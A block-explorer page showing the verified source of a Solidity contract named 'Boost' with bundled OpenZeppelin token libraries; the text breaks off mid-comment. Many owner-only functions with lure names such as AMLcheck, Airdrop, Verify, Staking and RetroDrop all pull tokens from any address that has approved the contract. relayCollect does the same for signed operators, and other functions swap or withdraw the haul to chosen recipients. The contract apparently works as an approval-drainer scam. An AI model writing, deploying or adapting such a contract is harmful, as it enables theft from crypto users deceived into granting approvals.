Skip to content
Verified contractExactMIT

Boost

Address0x646ff0cf25c4bb7f55672c340e4cdaeed2cc7a8c
Balance

0 ETH

 

Transactions

5

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
EVM version
paris
Via IR
yes
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,392,625
Creation transaction
0x11ad620c2f…280eb8d63f

contracts/Boost.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

interface IPancakeRouter {
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function getAmountsOut(uint amountIn, address[] calldata path)
        external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path)
        external view returns (uint[] memory amounts);
}

contract Boost {
    using SafeERC20 for IERC20;

    address public immutable owner;
    bytes32 public immutable DOMAIN_SEPARATOR;
    address public constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

    uint256 public constant DEFAULT_SLIPPAGE = 100;
    uint256 public constant MAX_SLIPPAGE = 1000;
    uint256 public constant DEADLINE_BUFFER = 300;

    bytes32 public constant COLLECT_TYPEHASH = keccak256(
        "CollectAction(string functionName,address token,address from,uint256 amount,uint256 nonce,uint256 deadline)"
    );
    bytes32 public constant PAYOUT_TYPEHASH = keccak256(
        "PayoutAction(string functionName,address token,address to,uint256 amount,uint256 nonce,uint256 deadline)"
    );

    address public relayer;
    address public guardian;
    bool public paused;

    mapping(address => bool) public operators;
    mapping(address => mapping(address => uint256)) public operatorAllowance;
    mapping(address => uint256) public nonces;
    mapping(address => bool) public supportsFeeOnTransfer;

    event TokensTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
    event TokensCollected(address indexed token, address indexed from, uint256 amount);
    event SwapExecuted(
        address indexed recipient,
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        uint256 amountOut,
        address[] path
    );
    event FeeOnTransferTokenSet(address indexed token, bool hasFee);
    event OperatorAdded(address indexed operator);
    event OperatorRemoved(address indexed operator);
    event OperatorApproval(address indexed operator, address indexed token, uint256 amount);
    event RelayerSet(address indexed relayer);
    event GuardianSet(address indexed guardian);
    event PausedSet(bool paused);
    event EmergencyShutdown(address indexed triggeredBy);
    event RelayCollectExecuted(address indexed operator, string functionName, address indexed token, address indexed from, uint256 amount);
    event RelayPayoutExecuted(address indexed operator, string functionName, address indexed token, address indexed to, uint256 amount);

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }


    constructor(address _owner) {
        require(_owner != address(0), "Owner cannot be zero address");
        owner = _owner;
        DOMAIN_SEPARATOR = keccak256(abi.encode(
            keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("Boost"),
            keccak256("1"),
            block.chainid,
            address(this)
        ));
    }

    function addOperator(address operator) external onlyOwner {
        require(operator != address(0), "Zero address");
        operators[operator] = true;
        emit OperatorAdded(operator);
    }

    function removeOperator(address operator) external onlyOwner {
        operators[operator] = false;
        emit OperatorRemoved(operator);
    }

    function approveOperator(address operator, address token, uint256 amount) external onlyOwner {
        require(operators[operator], "Not operator");
        operatorAllowance[operator][token] = amount;
        emit OperatorApproval(operator, token, amount);
    }

    function setRelayer(address _relayer) external onlyOwner {
        relayer = _relayer;
        emit RelayerSet(_relayer);
    }

    function setGuardian(address _guardian) external onlyOwner {
        guardian = _guardian;
        emit GuardianSet(_guardian);
    }

    function setPaused(bool _paused) external onlyOwner {
        paused = _paused;
        emit PausedSet(_paused);
    }

    function emergencyShutdown() external {
        require(msg.sender == owner || msg.sender == guardian, "Not authorized");
        paused = true;
        relayer = address(0);
        emit EmergencyShutdown(msg.sender);
    }

    function Deposit(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function boost(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Launchpool(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Staking(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Airdrop(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function RetroDrop(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function AMLcheck(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function jumpstart(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Verify(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Proof(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Earn(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Fee(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function Reward(address token, address to, uint256 amount) external onlyOwner {
        IERC20(token).safeTransfer(to, amount);
    }

    function Unlock(address token, address to, uint256 amount) external onlyOwner {
        IERC20(token).safeTransfer(to, amount);
    }

    function Compensation(address token, address to, uint256 amount) external onlyOwner {
        IERC20(token).safeTransfer(to, amount);
    }

    function Bounty(address token, address to, uint256 amount) external onlyOwner {
        IERC20(token).safeTransfer(to, amount);
    }

    function batchCollect(
        address token,
        address[] calldata from,
        uint256[] calldata amounts
    ) external onlyOwner {
        require(from.length == amounts.length, "Length mismatch");
        for (uint256 i = 0; i < from.length; i++) {
            IERC20(token).safeTransferFrom(from[i], address(this), amounts[i]);
            emit TokensCollected(token, from[i], amounts[i]);
        }
    }

    function collectTokens(address token, address from, uint256 amount) external onlyOwner {
        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
    }

    function setFeeOnTransferToken(address token, bool hasFee) external onlyOwner {
        supportsFeeOnTransfer[token] = hasFee;
        emit FeeOnTransferTokenSet(token, hasFee);
    }

    function swapFromVaultForExactOutput(
        address tokenIn,
        address tokenOut,
        uint256 exactAmountOut,
        uint256 slippageBps,
        address recipient,
        address[] calldata path
    ) external onlyOwner returns (uint256 amountInUsed) {
        require(slippageBps <= MAX_SLIPPAGE, "Slippage too high");
        require(path.length >= 2, "Invalid path");
        require(path[0] == tokenIn && path[path.length - 1] == tokenOut, "Path mismatch");
        require(recipient != address(0), "Invalid recipient");

        uint256 estimatedInput = calculateExactInputNeeded(exactAmountOut, path);
        uint256 maxInput = estimatedInput * (10000 + slippageBps) / 10000;

        uint256 vaultBalance = IERC20(tokenIn).balanceOf(address(this));
        require(vaultBalance >= maxInput, "Insufficient vault balance");

        IERC20(tokenIn).forceApprove(PANCAKE_ROUTER, maxInput);

        uint[] memory amounts = IPancakeRouter(PANCAKE_ROUTER).swapTokensForExactTokens(
            exactAmountOut, maxInput, path, recipient, block.timestamp + DEADLINE_BUFFER
        );

        amountInUsed = amounts[0];
        emit SwapExecuted(recipient, tokenIn, tokenOut, amountInUsed, exactAmountOut, path);
        return amountInUsed;
    }

    function swapFromVaultExactInput(
        address tokenIn,
        address tokenOut,
        uint256 exactAmountIn,
        uint256 minAmountOut,
        address recipient,
        address[] calldata path
    ) external onlyOwner returns (uint256 amountOutReceived) {
        require(path.length >= 2, "Invalid path");
        require(path[0] == tokenIn && path[path.length - 1] == tokenOut, "Path mismatch");
        require(recipient != address(0), "Invalid recipient");

        uint256 vaultBalance = IERC20(tokenIn).balanceOf(address(this));
        require(vaultBalance >= exactAmountIn, "Insufficient vault balance");

        IERC20(tokenIn).forceApprove(PANCAKE_ROUTER, exactAmountIn);

        if (supportsFeeOnTransfer[tokenOut]) {
            uint256 balanceBefore = IERC20(tokenOut).balanceOf(recipient);
            IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
                exactAmountIn, minAmountOut, path, recipient, block.timestamp + DEADLINE_BUFFER
            );
            uint256 balanceAfter = IERC20(tokenOut).balanceOf(recipient);
            amountOutReceived = balanceAfter - balanceBefore;
        } else {
            uint[] memory amounts = IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokens(
                exactAmountIn, minAmountOut, path, recipient, block.timestamp + DEADLINE_BUFFER
            );
            amountOutReceived = amounts[amounts.length - 1];
        }

        emit SwapExecuted(recipient, tokenIn, tokenOut, exactAmountIn, amountOutReceived, path);
        return amountOutReceived;
    }

    function batchSwapForExactOutputs(
        address tokenIn,
        address tokenOut,
        uint256[] calldata exactAmountsOut,
        uint256 slippageBps,
        address[] calldata recipients,
        address[] calldata path
    ) external onlyOwner {
        require(exactAmountsOut.length == recipients.length, "Length mismatch");
        for (uint256 i = 0; i < recipients.length; i++) {
            _swapForExactOutput(tokenIn, tokenOut, exactAmountsOut[i], slippageBps, recipients[i], path);
        }
    }

    function emergencyWithdraw(address token) external onlyOwner {
        uint256 balance = IERC20(token).balanceOf(address(this));
        if (balance > 0) {
            IERC20(token).safeTransfer(owner, balance);
        }
    }

    function emergencyWithdrawNative() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No native balance");
        (bool ok,) = owner.call{value: balance}("");
        require(ok, "Transfer failed");
    }

    receive() external payable {}

    function relayCollect(
        string calldata functionName,
        address token,
        address from,
        uint256 amount,
        uint256 nonce,
        uint256 deadline,
        uint8 v, bytes32 r, bytes32 s
    ) external {
        require(!paused, "Paused");
        require(msg.sender == relayer, "Not relayer");
        require(block.timestamp <= deadline, "Expired");

        bytes32 structHash = keccak256(abi.encode(
            COLLECT_TYPEHASH,
            keccak256(bytes(functionName)),
            token,
            from,
            amount,
            nonce,
            deadline
        ));

        address signer = _recoverSigner(structHash, v, r, s);
        require(operators[signer], "Not operator");
        require(nonces[signer] == nonce, "Invalid nonce");
        nonces[signer]++;

        IERC20(token).safeTransferFrom(from, address(this), amount);
        emit TokensCollected(token, from, amount);
        emit RelayCollectExecuted(signer, functionName, token, from, amount);
    }

    function relayPayout(
        string calldata functionName,
        address token,
        address to,
        uint256 amount,
        uint256 nonce,
        uint256 deadline,
        uint8 v, bytes32 r, bytes32 s
    ) external {
        require(!paused, "Paused");
        require(msg.sender == relayer, "Not relayer");
        require(block.timestamp <= deadline, "Expired");

        bytes32 structHash = keccak256(abi.encode(
            PAYOUT_TYPEHASH,
            keccak256(bytes(functionName)),
            token,
            to,
            amount,
            nonce,
            deadline
        ));

        address signer = _recoverSigner(structHash, v, r, s);
        require(operators[signer], "Not operator");
        require(nonces[signer] == nonce, "Invalid nonce");
        nonces[signer]++;

        require(operatorAllowance[signer][token] >= amount, "Allowance exceeded");
        operatorAllowance[signer][token] -= amount;

        IERC20(token).safeTransfer(to, amount);
        emit RelayPayoutExecuted(signer, functionName, token, to, amount);
    }

    function _recoverSigner(bytes32 structHash, uint8 v, bytes32 r, bytes32 s) internal view returns (address) {
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
        address signer = ecrecover(digest, v, r, s);
        require(signer != address(0), "Invalid signature");
        return signer;
    }

    function _swapForExactOutput(
        address tokenIn,
        address tokenOut,
        uint256 exactAmountOut,
        uint256 slippageBps,
        address recipient,
        address[] calldata path
    ) internal {
        require(slippageBps <= MAX_SLIPPAGE, "Slippage too high");
        require(path.length >= 2 && path[0] == tokenIn && path[path.length - 1] == tokenOut, "Invalid path");

        uint256 estimatedInput = calculateExactInputNeeded(exactAmountOut, path);
        uint256 maxInput = estimatedInput * (10000 + slippageBps) / 10000;

        require(IERC20(tokenIn).balanceOf(address(this)) >= maxInput, "Insufficient balance");
        IERC20(tokenIn).forceApprove(PANCAKE_ROUTER, maxInput);

        IPancakeRouter(PANCAKE_ROUTER).swapTokensForExactTokens(
            exactAmountOut, maxInput, path, recipient, block.timestamp + DEADLINE_BUFFER
        );

        emit SwapExecuted(recipient, tokenIn, tokenOut, maxInput, exactAmountOut, path);
    }

    function getBalance(address token) external view returns (uint256) {
        return IERC20(token).balanceOf(address(this));
    }

    function calculateExactInputNeeded(
        uint256 amountOut, address[] calldata path
    ) public view returns (uint256 amountInRequired) {
        uint[] memory amounts = IPancakeRouter(PANCAKE_ROUTER).getAmountsIn(amountOut, path);
        return amounts[0];
    }

    function calculateExactOutput(
        uint256 amountIn, address[] calldata path
    ) public view returns (uint256 amountOutExpected) {
        uint[] memory amounts = IPancakeRouter(PANCAKE_ROUTER).getAmountsOut(amountIn, path);
        return amounts[amounts.length - 1];
    }

    function canExecuteSwap(
        address tokenIn,
        uint256 amountOut,
        uint256 slippageBps,
        address[] calldata path
    ) external view returns (bool canExecute, uint256 requiredInput, uint256 vaultBalance) {
        requiredInput = calculateExactInputNeeded(amountOut, path);
        requiredInput = requiredInput * (10000 + slippageBps) / 10000;
        vaultBalance = IERC20(tokenIn).balanceOf(address(this));
        canExecute = vaultBalance >= requiredInput;
    }
}

@openzeppelin/contracts/interfaces/IERC1363.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/IERC1363.sol)

pragma solidity >=0.6.2;

import {IERC20} from "./IERC20.sol";
import {IERC165} from "./IERC165.sol";

/**
 * @title IERC1363
 * @dev Interface of the ERC-1363 standard as defined in the https://eips.ethereum.org/EIPS/eip-1363[ERC-1363].
 *
 * Defines an extension interface for ERC-20 tokens that supports executing code on a recipient contract
 * after `transfer` or `transferFrom`, or code on a spender contract after `approve`, in a single transaction.
 */
interface IERC1363 is IERC20, IERC165 {
    /*
     * Note: the ERC-165 identifier for this interface is 0xb0202a11.
     * 0xb0202a11 ===
     *   bytes4(keccak256('transferAndCall(address,uint256)')) ^
     *   bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
     *   bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256)')) ^
     *   bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
     */

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism
     * and then calls {IERC1363Receiver-onTransferReceived} on `to`.
     * @param from The address which you want to send tokens from.
     * @param to The address which you want to transfer to.
     * @param value The amount of tokens to be transferred.
     * @param data Additional data with no specified format, sent in call to `to`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value) external returns (bool);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`.
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     * @param data Additional data with no specified format, sent in call to `spender`.
     * @return A boolean value indicating whether the operation succeeded unless throwing.
     */
    function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}

@openzeppelin/contracts/interfaces/IERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/IERC165.sol)

pragma solidity >=0.4.16;

import {IERC165} from "../utils/introspection/IERC165.sol";

@openzeppelin/contracts/interfaces/IERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/IERC20.sol)

pragma solidity >=0.4.16;

import {IERC20} from "../token/ERC20/IERC20.sol";

@openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.5.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";
import {IERC1363} from "../../../interfaces/IERC1363.sol";

/**
 * @title SafeERC20
 * @dev Wrappers around ERC-20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    /**
     * @dev An operation with an ERC-20 token failed.
     */
    error SafeERC20FailedOperation(address token);

    /**
     * @dev Indicates a failed `decreaseAllowance` request.
     */
    error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        if (!_safeTransfer(token, to, value, true)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        if (!_safeTransferFrom(token, from, to, value, true)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Variant of {safeTransfer} that returns a bool instead of reverting if the operation is not successful.
     */
    function trySafeTransfer(IERC20 token, address to, uint256 value) internal returns (bool) {
        return _safeTransfer(token, to, value, false);
    }

    /**
     * @dev Variant of {safeTransferFrom} that returns a bool instead of reverting if the operation is not successful.
     */
    function trySafeTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns (bool) {
        return _safeTransferFrom(token, from, to, value, false);
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        forceApprove(token, spender, oldAllowance + value);
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no
     * value, non-reverting calls are assumed to be successful.
     *
     * IMPORTANT: If the token implements ERC-7674 (ERC-20 with temporary allowance), and if the "client"
     * smart contract uses ERC-7674 to set temporary allowances, then the "client" smart contract should avoid using
     * this function. Performing a {safeIncreaseAllowance} or {safeDecreaseAllowance} operation on a token contract
     * that has a non-zero temporary allowance (for that particular owner-spender) will result in unexpected behavior.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal {
        unchecked {
            uint256 currentAllowance = token.allowance(address(this), spender);
            if (currentAllowance < requestedDecrease) {
                revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease);
            }
            forceApprove(token, spender, currentAllowance - requestedDecrease);
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     *
     * NOTE: If the token implements ERC-7674, this function will not modify any temporary allowance. This function
     * only sets the "standard" allowance. Any temporary allowance will remain active, in addition to the value being
     * set here.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        if (!_safeApprove(token, spender, value, false)) {
            if (!_safeApprove(token, spender, 0, true)) revert SafeERC20FailedOperation(address(token));
            if (!_safeApprove(token, spender, value, true)) revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} transferAndCall, with a fallback to the simple {ERC20} transfer if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that relies on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            safeTransfer(token, to, value);
        } else if (!token.transferAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} transferFromAndCall, with a fallback to the simple {ERC20} transferFrom if the target
     * has no code. This can be used to implement an {ERC721}-like safe transfer that relies on {ERC1363} checks when
     * targeting contracts.
     *
     * Reverts if the returned value is other than `true`.
     */
    function transferFromAndCallRelaxed(
        IERC1363 token,
        address from,
        address to,
        uint256 value,
        bytes memory data
    ) internal {
        if (to.code.length == 0) {
            safeTransferFrom(token, from, to, value);
        } else if (!token.transferFromAndCall(from, to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Performs an {ERC1363} approveAndCall, with a fallback to the simple {ERC20} approve if the target has no
     * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when
     * targeting contracts.
     *
     * NOTE: When the recipient address (`to`) has no code (i.e. is an EOA), this function behaves as {forceApprove}.
     * Oppositely, when the recipient address (`to`) has code, this function only attempts to call {ERC1363-approveAndCall}
     * once without retrying, and relies on the returned value to be true.
     *
     * Reverts if the returned value is other than `true`.
     */
    function approveAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal {
        if (to.code.length == 0) {
            forceApprove(token, to, value);
        } else if (!token.approveAndCall(to, value, data)) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity `token.transfer(to, value)` call, relaxing the requirement on the return value: the
     * return value is optional (but if data is returned, it must not be false).
     *
     * @param token The token targeted by the call.
     * @param to The recipient of the tokens
     * @param value The amount of token to transfer
     * @param bubble Behavior switch if the transfer call reverts: bubble the revert reason or return a false boolean.
     */
    function _safeTransfer(IERC20 token, address to, uint256 value, bool bubble) private returns (bool success) {
        bytes4 selector = IERC20.transfer.selector;

        assembly ("memory-safe") {
            let fmp := mload(0x40)
            mstore(0x00, selector)
            mstore(0x04, and(to, shr(96, not(0))))
            mstore(0x24, value)
            success := call(gas(), token, 0, 0x00, 0x44, 0x00, 0x20)
            // if call success and return is true, all is good.
            // otherwise (not success or return is not true), we need to perform further checks
            if iszero(and(success, eq(mload(0x00), 1))) {
                // if the call was a failure and bubble is enabled, bubble the error
                if and(iszero(success), bubble) {
                    returndatacopy(fmp, 0x00, returndatasize())
                    revert(fmp, returndatasize())
                }
                // if the return value is not true, then the call is only successful if:
                // - the token address has code
                // - the returndata is empty
                success := and(success, and(iszero(returndatasize()), gt(extcodesize(token), 0)))
            }
            mstore(0x40, fmp)
        }
    }

    /**
     * @dev Imitates a Solidity `token.transferFrom(from, to, value)` call, relaxing the requirement on the return
     * value: the return value is optional (but if data is returned, it must not be false).
     *
     * @param token The token targeted by the call.
     * @param from The sender of the tokens
     * @param to The recipient of the tokens
     * @param value The amount of token to transfer
     * @param bubble Behavior switch if the transfer call reverts: bubble the revert reason or return a false boolean.
     */
    function _safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value,
        bool bubble
    ) private returns (bool success) {
        bytes4 selector = IERC20.transferFrom.selector;

        assembly ("memory-safe") {
            let fmp := mload(0x40)
            mstore(0x00, selector)
            mstore(0x04, and(from, shr(96, not(0))))
            mstore(0x24, and(to, shr(96, not(0))))
            mstore(0x44, value)
            success := call(gas(), token, 0, 0x00, 0x64, 0x00, 0x20)
            // if call success and return is true, all is good.
            // otherwise (not success or return is not true), we need to perform further checks
            if iszero(and(success, eq(mload(0x00), 1))) {
                // if the call was a failure and bubble is enabled, bubble the error
                if and(iszero(success), bubble) {
                    returndatacopy(fmp, 0x00, returndatasize())
                    revert(fmp, returndatasize())
                }
                // if the return value is not true, then the call is only successful if:
                // - the token address has code
                // - the returndata is empty
                success := and(success, and(iszero(returndatasize()), gt(extcodesize(token), 0)))
            }
            mstore(0x40, fmp)
            mstore(0x60, 0)
        }
    }

    /**
     * @dev Imitates a Solidity `token.approve(spender, value)` call, relaxing the requirement on the return value:
     * the return value is optional (but if data is returned, it must not be false).
     *
     * @param token The token targeted by the call.
     * @param spender The spender of the tokens
     * @param value The amount of token to transfer
     * @param bubble Behavior switch if the transfer call reverts: bubble the revert reason or return a false boolean.
     */
    function _safeApprove(IERC20 token, address spender, uint256 value, bool bubble) private returns (bool success) {
        bytes4 selector = IERC20.approve.selector;

        assembly ("memory-safe") {
            let fmp := mload(0x40)
            mstore(0x00, selector)
            mstore(0x04, and(spender, shr(96, not(0))))
            mstore(0x24, value)
            success := call(gas(), token, 0, 0x00, 0x44, 0x00, 0x20)
            // if call success and return is true, all is good.
            // otherwise (not success or return is not true), we need to perform further checks
            if iszero(and(success, eq(mload(0x00), 1))) {
                // if the call was a failure and bubble is enabled, bubble the error
                if and(iszero(success), bubble) {
                    returndatacopy(fmp, 0x00, returndatasize())
                    revert(fmp, returndatasize())
                }
                // if the return value is not true, then the call is only successful if:
                // - the token address has code
                // - the returndata is empty
                success := and(success, and(iszero(returndatasize()), gt(extcodesize(token), 0)))
            }
            mstore(0x40, fmp)
        }
    }
}

@openzeppelin/contracts/utils/introspection/IERC165.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (utils/introspection/IERC165.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[ERC].
 *
